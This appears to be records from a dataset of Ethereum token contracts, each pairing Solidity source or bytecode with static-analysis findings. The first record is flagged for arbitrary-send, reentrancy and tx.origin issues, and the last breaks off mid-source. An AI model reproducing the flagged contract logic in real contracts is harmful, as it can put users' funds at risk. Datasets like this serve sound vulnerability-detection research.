63616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b600b548110156106b457600c6000600b8381548110610f6d57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff168015610fca57506000610fc8600b8381548110610fae57fe5b6000918252602090912001546001600160a01b03166106b7565b115b1561101657611016600b8281548110610fdf57fe5b600091825260209091200154600a54600b80546001600160a01b039384169390921691611011919086908110610fae57fe5b61110e565b600101610f52565b3390565b6001600160a01b0383166110675760405162461bcd60e51b8152600401808060200182810382526024815260200180611cbd6024913960400191505060405180910390fd5b6001600160a01b0382166110ac5760405162461bcd60e51b8152600401808060200182810382526022815260200180611c046022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166111535760405162461bcd60e51b8152600401808060200182810382526025815260200180611c986025913960400191505060405180910390fd5b6001600160a01b0382166111985760405162461bcd60e51b8152600401808060200182810382526023815260200180611bb76023913960400191505060405180910390fd5b600081116111d75760405162461bcd60e51b8152600401808060200182810382526029815260200180611c6f6029913960400191505060405180910390fd5b6111df61078d565b6001600160a01b0316836001600160a01b031614158015611219575061120361078d565b6001600160a01b0316826001600160a01b031614155b801561123e575061122861078d565b6001600160a01b0316326001600160a01b031614155b156113865760105481111561125257600080fd5b6001600160a01b0383166000908152600c602052604090205460ff1615801561129457506001600160a01b0382166000908152600c602052604090205460ff16155b61129d57600080fd5b60115443141561130d576001600160a01b0382166000818152600c60205260408120805460ff19166001908117909155600b805491820181559091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b03191690911790555b6000611318306106b7565b600f54909150600160a81b900460ff161580156113435750600f546001600160a01b03858116911614155b80156113585750600f54600160b01b900460ff165b80156113645750600081115b156113845761137281611514565b478015611382576113824761147a565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806113c857506001600160a01b03831660009081526005602052604090205460ff165b156113d1575060005b6113dd84848484611796565b50505050565b600081848411156114725760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561143757818101518382015260200161141f565b50505050905090810190601f1680156114645780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610901573d6000803e3d6000fd5b60006006548211156114f75760405162461bcd60e51b815260040180806020018281038252602a815260200180611bda602a913960400191505060405180910390fd5b60006115016117bb565b905061150d8382611754565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060808301845292602083019080368337019050509050308160008151811061155557fe5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115a957600080fd5b505afa1580156115bd573d6000803e3d6000fd5b505050506040513d60208110156115d357600080fd5b50518151829060019081106115e457fe5b6001600160a01b039283166020918202929092010152600e5461160a9130911684611022565b600e546040517f791ac947000000000000000000000000000000000000000000000000000000008152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156116a9578181015183820152602001611691565b505050509050019650505050505050600060405180830381600087803b1580156116d257600080fd5b505af11580156116e6573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261170a57506000610559565b8282028284828161171757fe5b041461150d5760405162461bcd60e51b8152600401808060200182810382526021815260200180611c266021913960400191505060405180910390fd5b600061150d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117de565b806117a3576117a3611843565b6117ae84848461186a565b806113dd576113dd61195f565b60008060006117c861196b565b90925090506117d78282611754565b9250505090565b6000818361182d5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561143757818101518382015260200161141f565b50600083858161183957fe5b0495945050505050565b6008541580156118535750600954155b1561185d57611868565b600060088190556009555b565b60008060008060008061187c876119b0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506118ae9087611a0d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546118dd9086611a4f565b6001600160a01b0389166000908152600260205260409020556118ff81611aa9565b6119098483611af3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000600855600a600955565b6006546000908190683635c9adc5dea000006119878282611754565b8210156119a657600654683635c9adc5dea000009350935050506119ac565b90925090505b9091565b60008060008060008060008060006119cd8a600854600954611b17565b92509250925060006119dd6117bb565b905060008060006119f08e878787611b66565b919e509c509a509598509396509194505050505091939550919395565b600061150d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113e3565b60008282018381101561150d576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611ab36117bb565b90506000611ac183836116fb565b30600090815260026020526040902054909150611ade9082611a4f565b30600090815260026020526040902055505050565b600654611b009083611a0d565b600655600754611b109082611a4f565b6007555050565b6000808080611b2b6064610e7a89896116fb565b90506000611b3e6064610e7a8a896116fb565b90506000611b5682611b508b86611a0d565b90611a0d565b9992985090965090945050505050565b6000808080611b7588866116fb565b90506000611b8388876116fb565b90506000611b9188886116fb565b90506000611ba382611b508686611a0d565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c75f7f2133ead1c53d57ee76b981b77fb3bc7d0721908ec17b7eed9c2aafeea264736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,057 |
0xf56a7bd92be520c0312c4c53f6401804ee6746ca
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract CVNToken is Pausable {
string public name = "CVN";
string public symbol = "CVN";
uint8 public decimals = 18;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_ = (10 ** 9) * (10 ** uint256(decimals));
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
using SafeMath for uint256;
constructor() public {
balances[msg.sender] = totalSupply_;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
whenNotPaused
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
whenNotPaused
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
|
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd14610216578063313ce5671461029b5780633f4ba83a146102cc5780635c975abb146102e3578063661884631461031257806370a0823114610377578063715018a6146103ce5780638456cb59146103e55780638da5cb5b146103fc57806395d89b4114610453578063a9059cbb146104e3578063d73dd62314610548578063dd62ed3e146105ad578063f2fde38b14610624575b600080fd5b34801561010257600080fd5b5061010b610667565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610705565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b50610200610812565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081c565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b0610bf7565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d857600080fd5b506102e1610c0a565b005b3480156102ef57600080fd5b506102f8610cc8565b604051808215151515815260200191505060405180910390f35b34801561031e57600080fd5b5061035d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cdb565b604051808215151515815260200191505060405180910390f35b34801561038357600080fd5b506103b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f89565b6040518082815260200191505060405180910390f35b3480156103da57600080fd5b506103e3610fd2565b005b3480156103f157600080fd5b506103fa6110d4565b005b34801561040857600080fd5b50610411611194565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561045f57600080fd5b506104686111b9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a857808201518184015260208101905061048d565b50505050905090810190601f1680156104d55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104ef57600080fd5b5061052e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611257565b604051808215151515815260200191505060405180910390f35b34801561055457600080fd5b50610593600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611497565b604051808215151515815260200191505060405180910390f35b3480156105b957600080fd5b5061060e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ae565b6040518082815260200191505060405180910390f35b34801561063057600080fd5b50610665600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611735565b005b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106fd5780601f106106d2576101008083540402835291602001916106fd565b820191906000526020600020905b8154815290600101906020018083116106e057829003601f168201915b505050505081565b60008060149054906101000a900460ff1615151561072257600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b60008060149054906101000a900460ff1615151561083957600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561088757600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561091257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561094e57600080fd5b6109a082600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179c90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a3582600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0782600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179c90919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c6557600080fd5b600060149054906101000a900460ff161515610c8057600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600060149054906101000a900460ff1681565b600080600060149054906101000a900460ff16151515610cfa57600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610e09576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e9d565b610e1c838261179c90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561102d57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112f57600080fd5b600060149054906101000a900460ff1615151561114b57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561124f5780601f106112245761010080835404028352916020019161124f565b820191906000526020600020905b81548152906001019060200180831161123257829003601f168201915b505050505081565b60008060149054906101000a900460ff1615151561127457600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112c257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112fe57600080fd5b61135082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461179c90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113e582600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060149054906101000a900460ff161515156114b457600080fd5b61154382600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b590919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179057600080fd5b611799816117d1565b50565b60008282111515156117aa57fe5b818303905092915050565b600081830190508281101515156117c857fe5b80905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561180d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820320fda018acd41d38055061959de6ce8332e85bfa8f2aa9e4f608bbc378fef300029
|
{"success": true, "error": null, "results": {}}
| 6,058 |
0x5a705745373a780814c379Ef17810630D529EFE0
|
/**
*Submitted for verification at Etherscan.io on 2021-03-27
*/
pragma solidity ^0.8.1;
// SPDX-License-Identifier: MIT
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
